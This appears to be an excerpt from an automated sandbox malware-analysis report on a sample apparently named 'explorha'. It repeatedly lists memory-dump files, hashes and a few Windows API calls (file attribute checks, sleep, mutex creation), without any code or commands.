Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: fcaf071f6afcc36743c46a92741766c56bb4c93e92ff40ed94b07bcf5167e65a
Instruction ID: 1defbbaf79b60488767ca779bacc935b15dd2e2bc3e949ab96ebbf65969ea9f1
Opcode Fuzzy Hash: fcaf071f6afcc36743c46a92741766c56bb4c93e92ff40ed94b07bcf5167e65a
Instruction Fuzzy Hash: DB3178B17102408BEB18DF7CDD887AEB7B2EF86314F208619E416EB3D1CBB599808751

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9A14 Relevance: 4.6, APIs: 3, Instructions: 128
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00AD9A17
Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: e805ddcf712dbd62fec2b384811b8c7cdbddb67353b2bf0beeb8fff68ee180b4
Instruction ID: 8701701d1a191b1679e9ca556825ff390d9dd36019e9b0fa088251fd5de031c1
Opcode Fuzzy Hash: e805ddcf712dbd62fec2b384811b8c7cdbddb67353b2bf0beeb8fff68ee180b4
Instruction Fuzzy Hash: 233169B27141408BFB18DB7CCD847AEB7A2EB82314F308619E456EB3E1DBB599808751

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9B49 Relevance: 4.6, APIs: 3, Instructions: 127
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00AD9B4C
Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 1a5aae9c8c24072b68e4b44c05b1920ff311c6fedb6bdd1959b7b6f2c5349195
Instruction ID: f62f49da93c95c801747f84635bf1debaf00fcdca19f36f86f12ed9a4b6e6df5
Opcode Fuzzy Hash: 1a5aae9c8c24072b68e4b44c05b1920ff311c6fedb6bdd1959b7b6f2c5349195
Instruction Fuzzy Hash: 3C3169B17042449BEB18DB7CDD887AEB7A2EBC6314F30871AE426DB3D1C7B599808751

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9C7E Relevance: 4.6, APIs: 3, Instructions: 126
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00AD9C81
Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: ecf09b0ffa6edf80deca8bd3256e761dd28dfaeed5b2d100d5a80ca07027b42c
Instruction ID: 98b968923a041af29397bfb8886940c825520b3f905d99647828506a3846b515
Opcode Fuzzy Hash: ecf09b0ffa6edf80deca8bd3256e761dd28dfaeed5b2d100d5a80ca07027b42c
Instruction Fuzzy Hash: D13158B17101009FEB18DB78DD887AEBBB2EB86314F308619E456AB3D1D7B599808751

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9DB3 Relevance: 4.6, APIs: 3, Instructions: 125sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00AD9DB6
Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
